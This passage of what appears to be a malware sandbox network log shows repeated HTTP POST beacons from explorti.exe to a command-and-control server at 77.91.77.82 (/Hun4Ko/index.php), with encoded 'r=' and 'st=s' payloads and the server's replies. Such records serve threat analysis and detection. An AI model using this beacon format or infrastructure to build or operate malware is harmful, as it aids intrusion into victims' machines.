Jun 28, 2024 22:33:25.848877907 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:26.065062046 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49805	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:26.181476116 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:26.903973103 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49806	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:26.912364960 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:27.614319086 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49807	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:27.725383043 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:28.471329927 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49808	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:28.479446888 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:29.224231958 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49809	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:30.372670889 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:31.257142067 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49810	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:31.267029047 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:32.029925108 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49811	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:32.148684978 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:32.845299006 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49812	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:32.853642941 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:33.556767941 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49813	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:33.682336092 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:35.362860918 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:33:35.363300085 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:33:35.363408089 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:33:35.363744020 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49814	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:35.371798992 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:36.116750002 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jun 28, 2024 22:33:36.428889990 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49816	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:36.432997942 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:37.425934076 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jun 28, 2024 22:33:37.427429914 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49817	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:37.560429096 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:38.248167992 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49818	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:38.260529041 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:39.007302999 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49819	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:39.118711948 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:40.159591913 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:33:40.160800934 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49820	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:40.169286966 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:40.899986982 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49821	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:41.027946949 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:41.734087944 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:33:42.773700953 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:33:42.773924112 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:33:42.774473906 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49823	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:42.775171041 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:43.684138060 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49824	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:43.694880009 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:44.405241966 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49825	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:44.523679972 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:45.220133066 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49826	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
